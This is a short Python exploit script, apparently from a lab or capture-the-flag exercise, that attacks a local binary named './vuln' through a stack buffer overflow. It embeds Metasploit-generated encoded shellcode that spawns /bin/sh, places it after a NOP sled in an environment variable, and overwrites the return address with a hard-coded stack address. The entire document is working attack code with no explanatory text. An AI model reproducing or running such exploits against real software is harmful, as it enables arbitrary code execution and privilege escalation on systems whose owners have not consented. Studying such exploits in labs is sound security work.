import os, struct

# linux/x86/exec - 147 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
# PrependSetreuid=false, PrependSetuid=false, 
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, CMD=/bin/sh
buf =  ""
buf += "\x89\xe5\xdb\xcd\xd9\x75\xf4\x59\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
buf += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += "\x50\x38\x41\x42\x75\x4a\x49\x52\x4a\x66\x6b\x32\x78"
buf += "\x6e\x79\x62\x72\x53\x56\x45\x38\x34\x6d\x50\x63\x6e"
buf += "\x69\x79\x77\x71\x78\x76\x4f\x31\x63\x62\x48\x67\x70"
buf += "\x35\x38\x46\x4f\x63\x52\x35\x39\x70\x6e\x4e\x69\x79"
buf += "\x73\x62\x72\x78\x68\x43\x38\x43\x30\x73\x30\x33\x30"
buf += "\x56\x4f\x31\x72\x61\x79\x70\x6e\x64\x6f\x32\x53\x75"
buf += "\x38\x57\x70\x70\x57\x32\x73\x6c\x49\x79\x71\x7a\x6d"
buf += "\x6d\x50\x41\x41"

nops = "\x90"*900
trash = "a"*100
eip = struct.pack("<I",0xbffff14a)

payload = nops+buf
trigger = trash + eip

os.environ["FOO"] = payload

#os.system("/bin/bash")
os.system("/bin/bash -c './vuln HELP %s'"%(trigger))
